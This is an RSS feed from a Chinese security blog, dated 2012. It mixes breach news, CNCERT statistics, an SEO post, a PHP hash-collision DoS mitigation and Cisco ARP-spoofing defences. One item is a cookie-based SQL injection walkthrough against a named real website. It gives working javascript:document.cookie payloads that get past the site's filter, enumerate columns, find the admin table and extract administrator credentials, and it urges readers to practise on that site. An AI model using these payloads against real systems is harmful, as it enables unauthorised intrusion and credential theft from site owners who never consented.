<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>网络安全手册</title>
	<atom:link href="http://www.whjlb.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.whjlb.com</link>
	<description>最新网络安全资讯网络安全信息，网络安全频道中心网络安全信息时代</description>
	<lastBuildDate>Fri, 10 Feb 2012 06:17:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>富士康服务器被黑 厂商用户名密码被泄</title>
		<link>http://www.whjlb.com/526</link>
		<comments>http://www.whjlb.com/526#comments</comments>
		<pubDate>Fri, 10 Feb 2012 06:17:42 +0000</pubDate>
		<dc:creator>lee</dc:creator>
				<category><![CDATA[安全新闻]]></category>

		<guid isPermaLink="false">http://www.whjlb.com/?p=526</guid>
		<description><![CDATA[北京时间2月8日晚间消息，富士康服务器被一个称作“SwaggSec”的黑客组织攻击，并由此暴露出苹果、IBM等厂商的用户名和密码信息。 据称，该组织是出于对富士康恶劣的工作环境的声讨，也包括对传说中的iPhone 5的信息关注。 该组织直言，他们欢迎媒体、安全专家和其他有兴趣的团队来关注此次安全泄漏事件。而且，几乎没有遇到任何阻力就绕过了富士康防火墙，通过获取的用户名和信息，可以伪造IBM、苹果、微软等厂商的订单。]]></description>
			<content:encoded><![CDATA[<div id="Nuclear-Blog_Content">
<p>北京时间2月8日晚间消息，富士康服务器被一个称作“SwaggSec”的黑客组织攻击，并由此暴露出苹果、IBM等厂商的用户名和密码信息。</p>
<p>据称，该组织是出于对富士康恶劣的工作环境的声讨，也包括对传说中的iPhone 5的信息关注。</p>
<p><img src="http://2a.zol-img.com.cn/product/80_500x2000/576/ceofWdqlV0Dc.jpg" alt="富士康服务器被黑 厂商用户名密码被泄 " width="500" height="150" /></p>
<p><img src="http://2b.zol-img.com.cn/product/80/577/ceLqTM164jhE.jpg" alt="富士康服务器被黑 厂商用户名密码被泄 " width="450" height="109" /></p>
<p>该组织直言，他们欢迎媒体、安全专家和其他有兴趣的团队来关注此次安全泄漏事件。而且，几乎没有遇到任何阻力就绕过了富士康防火墙，通过获取的用户名和信息，可以伪造IBM、苹果、微软等厂商的订单。</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.whjlb.com/526/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>上周我国46个政府网站被篡改 与此前一周持平</title>
		<link>http://www.whjlb.com/524</link>
		<comments>http://www.whjlb.com/524#comments</comments>
		<pubDate>Fri, 10 Feb 2012 05:48:13 +0000</pubDate>
		<dc:creator>lee</dc:creator>
				<category><![CDATA[安全新闻]]></category>

		<guid isPermaLink="false">http://www.whjlb.com/?p=524</guid>
		<description><![CDATA[新华网北京2月9日电 （记者 张辛欣） 记者9日从国家互联网应急中心（CNCERT）了解到，上周我国境内有46个政府网站被篡改，与此前一周数量基本持平。新增信息安全漏洞167个，较此前一周新增数量增长约5.4倍。 国家互联网应急中心（CNCERT）对上周（1月30日至2月5日）我国互联网络安全状况监测评估显示，上周我国基础网路运行总体平稳。我国境内被篡改的网站数量为518个，较此前一周数量环比减少约33.9%。其中，被篡改的政府网站数量为46个，与此前一周数量基本持平。 但互联网安全态势不容乐观。国家互联网应急中心（CNCERT）监测显示，上周境内感染网络病毒的主机数和新增信息安全漏洞数量都有明显上升。其中，新增信息安全漏洞167个，包括新增高危漏洞46个，较此前一周新增数量增长约5.4倍。]]></description>
			<content:encoded><![CDATA[<p>新华网北京2月9日电 （记者 张辛欣） 记者9日从国家互联网应急中心（CNCERT）了解到，上周我国境内有46个政府网站被篡改，与此前一周数量基本持平。新增信息安全漏洞167个，较此前一周新增数量增长约5.4倍。 国家互联网应急中心（CNCERT）对上周（1月30日至2月5日）我国互联网络安全状况监测评估显示，上周我国基础网路运行总体平稳。我国境内被篡改的网站数量为518个，较此前一周数量环比减少约33.9%。其中，被篡改的政府网站数量为46个，与此前一周数量基本持平。 但互联网安全态势不容乐观。国家互联网应急中心（CNCERT）监测显示，上周境内感染网络病毒的主机数和新增信息安全漏洞数量都有明显上升。其中，新增信息安全漏洞167个，包括新增高危漏洞46个，较此前一周新增数量增长约5.4倍。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whjlb.com/524/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>总结 seo工作的一系列心得</title>
		<link>http://www.whjlb.com/522</link>
		<comments>http://www.whjlb.com/522#comments</comments>
		<pubDate>Sat, 04 Feb 2012 02:27:16 +0000</pubDate>
		<dc:creator>lee</dc:creator>
				<category><![CDATA[seo优化]]></category>
		<category><![CDATA[seo]]></category>

		<guid isPermaLink="false">http://www.whjlb.com/?p=522</guid>
		<description><![CDATA[工作后才发现，原来seo工作并不简单 工作后才发现，原来除了之前理解的一直理解的“外链” 是由  “反链”，“外链”两种！ 工作后才发现，原来seo的工作其实不需要什么技术含量 除了坚持 坚持还是坚持。 工作后才发现，原来外链可以通过 论坛签名 各大免费博客来获取。 工作后才发现，优化关键词和优化站点本身 是两码事。 工作后才发现，原本 2%-8%的关键词密度 深深的坑害了我！ 自然随性 可读性强 用户体验指数高即可 而不是一味为了优化而“优化” 工作后才发现，原来seo 的责任是很大的，网站的改版 css布局   cms 的套用，ps的设计 以及最后要有丰富的文采！~ 工作后才发现，原来在企业上班 比在家里自己学东西  学的更快，因为我们肩膀上有了一份责任，我们上面多了一位监督， 工作后才发现，原来 《seo 一个漫长而又痛苦,却给人惊喜的工作  详见: www.yougang.org/blog/post/12.html 》 工作后我才真正的发现： 我已经爱上了    站长网  CHINAZ  SEOWHY   等站长网了！ 最后我想说： seo 已经把我套牢了！ 我要解套拉升！！！！！   解套拉升啊！！！！  www.hyzk.cn 快点解套把 本为出自：油缸信息网的博客    http://www.yougang.org/blog/post/13.html  ]]></description>
			<content:encoded><![CDATA[<table>
<tbody>
<tr>
<td>
<div id="post_content_27834331"><span style="font-size: medium;">工作后才发现，原来seo工作并不简单<br />
工作后才发现，原来除了之前理解的一直理解的“外链” 是由  “反链”，“外链”两种！</span><br />
<span style="font-size: x-small;"><span style="font-size: medium;">工作后才发现，原来seo的工作其实不需要什么技术含量 除了坚持 坚持还是坚持。</span></span><br />
<span style="font-size: x-small;"><span style="font-size: medium;">工作后才发现，原来外链可以通过 论坛签名 各大免费博客来获取。</span></span><br />
<span style="font-size: x-small;"><span style="font-size: medium;">工作后才发现，优化关键词和优化站点本身 是两码事。</span></span><br />
<span style="font-size: x-small;"><span style="font-size: medium;">工作后才发现，原本 2%-8%的关键词密度 深深的坑害了我！ 自然随性 可读性强 用户体验指数高即可 而不是一味为了优化而“优化”</span></span><br />
<span style="font-size: x-small;"><span style="font-size: medium;">工作后才发现，原来seo 的责任是很大的，网站的改版 css布局   cms 的套用，ps的设计 以及最后要有丰富的文采！~</span></span><br />
<span style="font-size: x-small;"><span style="font-size: medium;">工作后才发现，原来在企业上班 比在家里自己学东西  学的更快，因为我们肩膀上有了一份责任，我们上面多了一位监督，</span></span><br />
<span style="font-size: x-small;"><span style="font-size: medium;">工作后才发现，原来 《seo 一个漫长而又痛苦,却给人惊喜的工作  详见: <span style="font-family: Arial;">www.yougang.org/blog/post/12.html </span>》</span></span><br />
<span style="font-size: x-small;"><span style="font-size: medium;">工作后我才真正的发现： 我已经爱上了    站长网  CHINAZ  SEOWHY   等站长网了！</span></span><br />
<span style="font-size: x-small;"><span style="font-size: medium;">最后我想说： seo 已经把我套牢了！ 我要解套拉升！！！！！   解套拉升啊！！！！  </span><a href="http://www.hyzk.cn/" target="_blank"><span style="font-size: medium;">www.hyzk.cn</span></a><span style="font-size: medium;"> 快点解套把</span></span><br />
<span style="font-size: x-small;"><span style="font-size: medium;">本为出自：油缸信息网的博客    </span><a href="http://www.yougang.org/blog/post/13.html" target="_blank"><span style="font-size: medium;">http://www.yougang.org/blog/post/13.html</span></a><br />
</span></div>
</td>
<td> </td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://www.whjlb.com/522/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>cookie注入原理</title>
		<link>http://www.whjlb.com/518</link>
		<comments>http://www.whjlb.com/518#comments</comments>
		<pubDate>Sun, 29 Jan 2012 12:49:54 +0000</pubDate>
		<dc:creator>lee</dc:creator>
				<category><![CDATA[SQL注入]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">http://www.whjlb.com/?p=518</guid>
		<description><![CDATA[目标：http://www.ytop35.com 下面还是具体拿个实例来给大家演示下，目标站：http://www.ytop35.com/Products_show.asp?id=284 ，同时也是注入点。我们首先要检测下按照平时的方式注入，在网址后面加 and 1=1。   可见是使用了防注入系统的，但是目前我们是使用get方式提交的参数，那现在我们将“id=284”这个参数使用cookie提交看看程序对数据接收是否直接使用 request(“xx”)的方式？要更改成cookie方式提交，我们首先要访问正常的页面，即是：http://www.ytop35.com/Products_show.asp?id=284，等页面完全打开之后，我们将IE地址栏清空，然后写上:javascript:alert(document.cookie=”id=”+escape(“284&#8243;)); 这里的“id=”便是“Products_show.asp?id=284”中的“id=”，“escape(“284&#8243;)”中的“284”是“Products_show.asp?id=284”中的“id=284”了，这两处要根据实际情况来定义。    现在更改好了cookie后我们就要试下能不能正常访问了，现在在另外一个窗口中我们打开以下地址：http://www.ytop35.com/Products_show.asp? 既是将“id=284”去掉后的，然后看是否能正常访问。 可见访问之后的页面与访问http://www.ytop35.com/Products_show.asp?id=284的时候是一样的，这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取，而是直接使用request(“xx”)的方式。现在cookie形成的一个重要因素已经明确了，接下来我们测试下能否提交特殊字符，看程序是否对数据进行过滤。我们再回到刚才更改cookie的页面，然后在IE地址栏处填写javascript:alert(document.cookie=”id=”+escape(“284 and 1=1&#8243;)); 回车后再去http://www.ytop35.com/Products_show.asp?页面刷新，看页面是否正常，如果正常我们再提交javascript:alert(document.cookie=”id=”+escape(“284 and 1=2&#8243;));   然后再去刷新，这个时候就会看见出错了。 很明显就能看到错误了，而且产品内容也米有显示，到此便可以确定该页面能使用cookie注入了，接下来来的利用过程就和普通注入一样了。我们可以使用union联合查询爆出管理员的账号和密码，但前提是需要知道管理员的表名和字段名，不过我们可以通过猜解。      首先来使用order by 语句判断出当前执行数据库查询的表的字段数，我们提交：javascript:alert(document.cookie=”id=”+escape(“284 order by 1&#8243;)); 然会正常，表示可以使用order by语句，如果错误的话可能是不能使用order by来猜解字段数了，拿就需要直接union select 一个一个的试了。然后提交：javascript:alert(document.cookie=”id=”+escape(“284 order by 10&#8243;)); 如果还返回正常就说明字段数在10以上，我们一次类推直到猜解出正确的字段数，比如这里我提交到了21的时候去刷新页面出现错误，然后提交20的时候去刷新页面就正常了，就说明字段数是20.        接下来我们提交:javascript:alert(document.cookie=”id=”+escape(“284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage”)); 发现有错误，我们再提交javascript:alert(document.cookie=”id=”+escape(“284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin”));发现返回正常页面。    看到熟悉的画面了吧，这就表示网站数据库存在admin这个表，因我们之前一次提交的是javascript:alert(document.cookie=”id=”+escape(“284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from [...]]]></description>
			<content:encoded><![CDATA[<p><strong>目标：<strong><a href="http://www.ytop35.com">http://www.ytop35.com</a></strong></strong></p>
<p><strong>下面还是具体拿个实例来给大家演示下，目标站：<strong>http://www.ytop35.com/Products_show.asp?id=284</strong></strong></p>
<p><strong>，同时也是注入点。我们首先要检测下按照平时的方式注入，在网址后面加 and 1=1。</strong></p>
<p><strong>  可见是使用了防注入系统的，但是目前我们是使用get方式提交的参数，那现在我们将“id=284”这个参数使用cookie提交看看程序对数据接收是否直接使用 request(“xx”)的方式？要更改成cookie方式提交，我们首先要访问正常的页面，即是：<strong><span style="color: #003398;">http://www.ytop35.com/Products_show.asp?id=284</span></strong><strong>，等页面完全打开之后，我们将IE地址栏清空，然后写上:javascript:alert(document.cookie=”id=”+escape(“284&#8243;)); 这里的“id=”便是“Products_show.asp?id=284”中的“id=”，“escape(“284&#8243;)”中的“284”是“Products_show.asp?id=284”中的“id=284”了，这两处要根据实际情况来定义。</strong></strong></p>
<p><strong></strong> </p>
<p><strong> 现在更改好了cookie后我们就要试下能不能正常访问了，现在在另外一个窗口中我们打开以下地址：<strong><span style="color: #003398;">http://www.ytop35.com/Products_show.asp?</span></strong><strong> 既是将“id=284”去掉后的，然后看是否能正常访问。<br />
</strong></strong></p>
<p><strong><strong>可见访问之后的页面与访问<strong><span style="color: #003398;">http://www.ytop35.com/Products_show.asp?id=284</span></strong><strong>的时候是一样的，这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取，而是直接使用request(“xx”)的方式。现在cookie形成的一个重要因素已经明确了，接下来我们测试下能否提交特殊字符，看程序是否对数据进行过滤。我们再回到刚才更改cookie的页面，然后在IE地址栏处填写javascript:alert(document.cookie=”id=”+escape(“284 and 1=1&#8243;)); 回车后再去</strong><strong><span style="color: #003398;">http://www.ytop35.com/Products_show.asp?</span></strong><strong>页面刷新，看页面是否正常，如果正常我们再提交javascript:alert(document.cookie=”id=”+escape(“284 and 1=2&#8243;));   然后再去刷新，这个时候就会看见出错了。<br />
</strong></strong></strong></p>
<p><strong><strong><strong>很明显就能看到错误了，而且产品内容也米有显示，到此便可以确定该页面能使用cookie注入了，接下来来的利用过程就和普通注入一样了。我们可以使用union联合查询爆出管理员的账号和密码，但前提是需要知道管理员的表名和字段名，不过我们可以通过猜解。</p>
<p>     首先来使用order by 语句判断出当前执行数据库查询的表的字段数，我们提交：javascript:alert(document.cookie=”id=”+escape(“284 order by 1&#8243;)); 然会正常，表示可以使用order by语句，如果错误的话可能是不能使用order by来猜解字段数了，拿就需要直接union select 一个一个的试了。然后提交：javascript:alert(document.cookie=”id=”+escape(“284 order by 10&#8243;)); 如果还返回正常就说明字段数在10以上，我们一次类推直到猜解出正确的字段数，比如这里我提交到了21的时候去刷新页面出现错误，然后提交20的时候去刷新页面就正常了，就说明字段数是20.</p>
<p>       接下来我们提交:javascript:alert(document.cookie=”id=”+escape(“284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage”)); 发现有错误，我们再提交javascript:alert(document.cookie=”id=”+escape(“284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin”));发现返回正常页面。</strong></strong></strong></p>
<p><strong><strong><strong></strong></strong></strong> </p>
<p><strong><strong><strong> 看到熟悉的画面了吧，这就表示网站数据库存在admin这个表，因我们之前一次提交的是javascript:alert(document.cookie=”id=”+escape(“284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage”));，数据库中不存在mange这个表，自然就出错了，使用更换from 处可以来猜解表明，那么现在我们在6和17的地方试试username和password看看提交后是否出错，如果出错那么就表示不存在username或者password字段。我们提交：javascript:alert(document.cookie=”id=”+escape(“284 union select 1,2,3,4,5,username,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin”));<br />
</strong></strong></strong></p>
<p><strong><strong><strong></strong></strong></strong> </p>
<p><strong><strong><strong>可见，原来显示6和17的地方现在爆出了管理员的账号和密码了，不过这个密码破不出来，大家可以自己拿网站去练练。总的说来cookie注入和普通注入是一样的，只不过是在提交注入语句的过程不一样而已。如果对普通注入的原理又说了解的话，那么cookie注入也就不难了。<br />
</strong></strong></strong></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong><strong><strong></strong><br />
</strong></strong></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong><br />
</strong></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whjlb.com/518/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>通过PHP的hash冲突漏洞进行DDoS攻击的解决办法</title>
		<link>http://www.whjlb.com/516</link>
		<comments>http://www.whjlb.com/516#comments</comments>
		<pubDate>Thu, 19 Jan 2012 14:39:26 +0000</pubDate>
		<dc:creator>lee</dc:creator>
				<category><![CDATA[安全新闻]]></category>
		<category><![CDATA[安全防护]]></category>

		<guid isPermaLink="false">http://www.whjlb.com/?p=516</guid>
		<description><![CDATA[ 最近各语言爆hash碰撞漏洞。包含php,ruby,python,java各个语言。Microsoft的.net也受影响。  hash碰撞原理:  Hash，简单来讲，是一种将任意长度的输入变换成固定长度的输出，固定长度的输出在”实际应用场景”下可以代表该输入。Hash函数通常被翻译成散列函数。Hash通常用来校验信息的一致性。  Hash函数的实现多种多样，在安全领域应用最为广泛的是SHA-x系列和MDx系列。Hash函数也划分为带密钥的Hash函数和不带密钥的Hash函数，通常所说的Hash函数是不带密钥的Hash函数。这里对Hash算法的实现原理不做更多的探讨。    由于Hash固定长度输出的特性，必然会存在多个不同输入产生相同输出的情况。如果两个输入串的hash函数的值一样，则称这两个串是一个碰撞(Collision)。在理论范围内，存在一个输出串对应无穷多个输入串，所以碰撞具有其必然性。  如果找到碰撞，那么意味着我们可以破坏信息的一致性而不被接收方察觉，搜寻指定输入的Hash碰撞值的过程被称作”Hash破解”。这里需要说明的 是，Hash函数必须是不可逆的，所以不存在从散列值到原始输入的破解（这里不包括暴力破解，使用彩虹表是暴力破解的最佳方式，但是仍然无法保证破解到的 数据是原始数据）。设计不良的Hash算法，很容易让人找到碰撞值。  kangle web服务器 是一款跨平台、功能强大、安全稳定、易操作的、高性能的、国产开源的web服务器和反向代理服务器软件。简称：kangle  除此：kangle也是一款专为做虚拟主机研发的web服务器。实现虚拟主机独立进程、独立身份运行。用户之间安全隔离，一个用户出问题不影响其他用户。安全支持php、asp、asp.net、java、ruby等多种动态开发语言。  kangle 2.7.5新增一个最大post参数，轻松防住这个漏洞。进入kangle管理后台3311设置。点左边配置==&#62;数据交换，出现如下界面。如图:  最多POST参数,这里为了测试只写2，一般建议输入500，即可。使用本功能，一定要打开使用临时文件。否则无效。效果图: ]]></description>
			<content:encoded><![CDATA[<p> 最近各语言爆hash碰撞漏洞。包含php,ruby,python,java各个语言。Microsoft的.net也受影响。 </p>
<p>hash碰撞原理: </p>
<p>Hash，简单来讲，是一种将任意长度的输入变换成固定长度的输出，固定长度的输出在”实际应用场景”下可以代表该输入。Hash函数通常被翻译成散列函数。Hash通常用来校验信息的一致性。 </p>
<p>Hash函数的实现多种多样，在安全领域应用最为广泛的是SHA-x系列和MDx系列。Hash函数也划分为带密钥的Hash函数和不带密钥的Hash函数，通常所说的Hash函数是不带密钥的Hash函数。这里对Hash算法的实现原理不做更多的探讨。 <br />
<img title="11.jpg" src="http://www.myhack58.com/Article/UploadPic/2012-1/20121812728342.jpg" alt="11.jpg" width="557" /> <br />
由于Hash固定长度输出的特性，必然会存在多个不同输入产生相同输出的情况。如果两个输入串的hash函数的值一样，则称这两个串是一个碰撞(Collision)。在理论范围内，存在一个输出串对应无穷多个输入串，所以碰撞具有其必然性。 </p>
<p>如果找到碰撞，那么意味着我们可以破坏信息的一致性而不被接收方察觉，搜寻指定输入的Hash碰撞值的过程被称作”Hash破解”。这里需要说明的 是，Hash函数必须是不可逆的，所以不存在从散列值到原始输入的破解（这里不包括暴力破解，使用彩虹表是暴力破解的最佳方式，但是仍然无法保证破解到的 数据是原始数据）。设计不良的Hash算法，很容易让人找到碰撞值。 </p>
<p>kangle web服务器 是一款跨平台、功能强大、安全稳定、易操作的、高性能的、国产开源的web服务器和反向代理服务器软件。简称：kangle <br />
除此：kangle也是一款专为做虚拟主机研发的web服务器。实现虚拟主机独立进程、独立身份运行。用户之间安全隔离，一个用户出问题不影响其他用户。安全支持php、asp、asp.net、java、ruby等多种动态开发语言。 </p>
<p>kangle 2.7.5新增一个最大post参数，轻松防住这个漏洞。进入kangle管理后台3311设置。点左边配置==&gt;数据交换，出现如下界面。如图: </p>
<p><img src="http://www.myhack58.com/Article/UploadPic/2012-1/20121812731980.jpg" alt="" width="471" height="187" /></p>
<p>最多POST参数,这里为了测试只写2，一般建议输入500，即可。使用本功能，一定要打开使用临时文件。否则无效。效果图: </p>
<p><img src="http://www.myhack58.com/Article/UploadPic/2012-1/20121812731723.jpg" alt="" width="561" /></p>
<p><!--内容正文--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whjlb.com/516/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cisco环境解决ARP欺骗问题</title>
		<link>http://www.whjlb.com/514</link>
		<comments>http://www.whjlb.com/514#comments</comments>
		<pubDate>Thu, 19 Jan 2012 14:38:54 +0000</pubDate>
		<dc:creator>lee</dc:creator>
				<category><![CDATA[安全新闻]]></category>
		<category><![CDATA[安全防护]]></category>

		<guid isPermaLink="false">http://www.whjlb.com/?p=514</guid>
		<description><![CDATA[ 因为经常看到网上有看到求助ARP病毒防范办法，其实ARP欺骗原理简单，利用的是ARP协议的一个“缺陷”，免费ARP来达到欺骗主机上面的网关的ARP表项。   　　其实免费ARP当时设计出来是为了2个作用的： 　　1，IP地址冲突检测 　　2，ARP条目自动更新，更新网关。   　　ARP欺骗就是利用这里面的第二条，攻击的主机发送一个ARP更新，条目的ip地址是网关，但是MAC地址一项，却不是网关，当其他主机接受到，会根据ARP协议的规则，越新的越可靠的原则，达到欺骗的目的。   　　虽然ARP不是tcp/ip协议簇中的一员，但是鉴于以太网的大行其道，所以放弃动态ARP协议，使用手动方式的来来做ARP映射，好像不大现实（个别情况除外）。   　　一、深入ARP协议特征   　　我在这里介绍Cisco网络环境下解决这个问题的思路： 　　其实这里面使用到了2个技术：DHCP snooping和ARP inspection   　　1、DHCP snooping 　　DHCP Snooping技术是DHCP安全特性，通过建立和维护DHCP Snooping绑定表过滤不可信任的DHCP信息，这些信息是指来自不信任区域的DHCP信息。DHCP Snooping绑定表包含不信任区域的用户MAC地址、IP地址、租用期、VLAN-ID 接口等信息。   　　当交换机开启了DHCP-Snooping后，会对DHCP报文进行侦听，并可以从接收到的DHCP Request或DHCP Ack报文中提取并记录IP地址和MAC地址信息。另外，DHCP-Snooping允许将某个物理端口设置为信任端口或不信任端口。信任端口可以正常接 收并转发DHCP Offer报文，而不信任端口会将接收到的DHCP Offer报文丢弃。这样，可以完成交换机对假冒DHCP Server的屏蔽作用，确保客户端从合法的DHCP Server获取IP地址。   　　作用： 　　1.DHCP-snooping的主要作用就是隔绝非法的DHCP server，通过配置非信任端口。 　　2.建立和维护一张DHCP-snooping的绑定表,这张表一是通过DHCP ack包中的ip和MAC地址生成的，二是可以手工指定。这张表是后续DAI（dynamic ARP inspect）和IP Source Guard 基础。这两种类似的技术，是通过这张表来判定ip或者MAC地址是否合法，来限制用户连接到网络的。   　　配置: 　　switch（config）#ip DHCP snooping 　　switch（config）#ip DHCP snooping vlan 10 　　switch（config-if）#ip [...]]]></description>
			<content:encoded><![CDATA[<p> 因为经常看到网上有看到求助ARP病毒防范办法，其实ARP欺骗原理简单，利用的是ARP协议的一个“缺陷”，免费ARP来达到欺骗主机上面的网关的ARP表项。</p>
<div> </div>
<div>　　其实免费ARP当时设计出来是为了2个作用的：</div>
<div>　　1，IP地址冲突检测</div>
<div>　　2，ARP条目自动更新，更新网关。</div>
<div> </div>
<div>　　ARP欺骗就是利用这里面的第二条，攻击的主机发送一个ARP更新，条目的ip地址是网关，但是MAC地址一项，却不是网关，当其他主机接受到，会根据ARP协议的规则，越新的越可靠的原则，达到欺骗的目的。</div>
<div> </div>
<div>　　虽然ARP不是tcp/ip协议簇中的一员，但是鉴于以太网的大行其道，所以放弃动态ARP协议，使用手动方式的来来做ARP映射，好像不大现实（个别情况除外）。</div>
<div> </div>
<div>　　一、深入ARP协议特征</div>
<div> </div>
<div>　　我在这里介绍Cisco网络环境下解决这个问题的思路：</div>
<div>　　其实这里面使用到了2个技术：DHCP snooping和ARP inspection</div>
<div> </div>
<div>　　1、DHCP snooping</div>
<div>　　DHCP Snooping技术是DHCP安全特性，通过建立和维护DHCP Snooping绑定表过滤不可信任的DHCP信息，这些信息是指来自不信任区域的DHCP信息。DHCP Snooping绑定表包含不信任区域的用户MAC地址、IP地址、租用期、VLAN-ID 接口等信息。</div>
<div> </div>
<div>　　当交换机开启了DHCP-Snooping后，会对DHCP报文进行侦听，并可以从接收到的DHCP Request或DHCP Ack报文中提取并记录IP地址和MAC地址信息。另外，DHCP-Snooping允许将某个物理端口设置为信任端口或不信任端口。信任端口可以正常接 收并转发DHCP Offer报文，而不信任端口会将接收到的DHCP Offer报文丢弃。这样，可以完成交换机对假冒DHCP Server的屏蔽作用，确保客户端从合法的DHCP Server获取IP地址。</div>
<div> </div>
<div>　　作用：</div>
<div>　　1.DHCP-snooping的主要作用就是隔绝非法的DHCP server，通过配置非信任端口。</div>
<div>　　2.建立和维护一张DHCP-snooping的绑定表,这张表一是通过DHCP ack包中的ip和MAC地址生成的，二是可以手工指定。这张表是后续DAI（dynamic ARP inspect）和IP Source Guard 基础。这两种类似的技术，是通过这张表来判定ip或者MAC地址是否合法，来限制用户连接到网络的。</div>
<div> </div>
<div>　　配置:</div>
<div>　　switch（config）#ip DHCP snooping</div>
<div>　　switch（config）#ip DHCP snooping vlan 10</div>
<div>　　switch（config-if）#ip DHCP snooping limit rate 10</div>
<div>　　/*DHCP包的转发速率，超过就接口就shutdown，默认不限制</div>
<div>　　switch（config-if）#ip DHCP snooping trust</div>
<div>　　/*这样这个端口就变成了信任端口，信任端口可以正常接收并转发DHCP Offer报文，不记录ip和MAC地址的绑定，默认是非信任端口</div>
<div>　　switch#ip DHCP snooping binding 0009.3452.3ea4 vlan 7 192.168.10.5 interface gi1/0/10</div>
<div>　　/*这样可以静态ip和MAC一个绑定</div>
<div>　　switch（config）#ip DHCP snooping database tftp:// 10.1.1.1/DHCP_table</div>
<div>　　/*因为掉电后，这张绑定表就消失了，所以要选择一个保存的地方，ftp，tftp，flash皆可。本例中的DHCP_table是文件名，而不是文件夹，同时文件名要手工创建一个</div>
<div>　　2. ARP inspection</div>
<div>　　1.介绍</div>
<div>　　DAI是以DHCP-snooping的绑定表为基础来检查MAC地址和ip地址的合法性。</div>
<div>　　2.配置</div>
<div>　　switch（config）#ip DHCP snooping vlan 7</div>
<div>　　switch（config）#ip DHCP snooping information option</div>
<div>　　/*默认</div>
<div>　　switch（config）#ip DHCP snooping</div>
<div>　　switch（config）#ip ARP inspection vlan 7</div>
<div>　　/* 定义对哪些 VLAN 进行 ARP 报文检测</div>
<div>　　switch（config）#ip ARP inspection validate src-MAC dst-MAC ip</div>
<div>　　/*对源，目MAC和ip地址进行检查</div>
<div>　　switch（config-if）#ip DHCP snooping limit rate 10</div>
<div>　　switch（config-if）#ip ARP inspection limit rate 15</div>
<div>　　/* 定义接口每秒 ARP 报文数量</div>
<div>　　switch（config-if）#ip ARP inspection trust</div>
<div>　　/*信任的接口不检查ARP报文，默认是检测</div>
<div> </div>
<div>　　二.注意点:交换机会错认受DoS攻击</div>
<div> </div>
<div>　　对于前面DHCP-snooping的绑定表中关于端口部分，是不做检测的；同时对于已存在于绑定表中的MAC和ip对于关系的主机，不管是DHCP获得，还是静态指定，只要符合这个表就可以了。如果表中没有就阻塞相应流量。</div>
<div> </div>
<div>　　在开始应用Dynamic ARP Inspection时，交换机会记录大量的数据包，当端口通过的数据包过多时，交换机会认为遭受DoS攻击，从而将端口自动errdisable，造成 通信中断。为了解决这个问题，我们需要加入命令errdisable recovery cause ARP-inspection</div>
<div> </div>
<div>　　在Cisco网络环境下，boot request在经过了启用DHCP SNOOPING特性的设备上时，会在DHCP数据包中插入option 82的选项（具体见RFC3046）</div>
<div>　　这个时候，boot request中数据包中的gateway ip address:为全0，所以一旦DHCP relay 设备检测到这样的数据包，就会丢弃。</div>
<div> </div>
<div>　　如果DHCP服务器使用了中继服务，那需要在网关交换机上键入如下命令:</div>
<div>　　方法一：</div>
<div>　　inter vlan7</div>
<div>　　ip DHCP relay information trusted</div>
<div>　　方法二：</div>
<div>　　switch（config）# ip DHCP relay information trust-all</div>
<div> </div>
<div>　　三.总结：防止非法的ARP请求</div>
<div> </div>
<div>　　虽然DHCP snooping是用来防止非法的DHCP server接入的，但是它一个重要作用是一旦客户端获得一个合法的DHCP offer。启用DHCP snooping设备会在相应的接口下面记录所获得IP地址和客户端的MAC地址。这个是后面另外一个技术ARP inspection检测的一个依据。ARP inspection是用来检测ARP请求的，防止非法的ARP请求。</div>
<div> </div>
<div>　　认为是否合法的标准的是前面DHCP snooping时建立的那张表。因为那种表是DHCP server正常回应时建立起来的，里面包括是正确的ARP信息。如果这个时候有ARP攻击信息，利用ARP inspection技术就可以拦截到这个非法的ARP数据包。</div>
<div> </div>
<div>　　其实利用这个方法，还可以防止用户任意修改IP地址，造成地址冲突的问题</div>
]]></content:encoded>
			<wfw:commentRss>http://www.whjlb.com/514/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nmap使用方法</title>
		<link>http://www.whjlb.com/512</link>
		<comments>http://www.whjlb.com/512#comments</comments>
		<pubDate>Thu, 19 Jan 2012 14:38:27 +0000</pubDate>
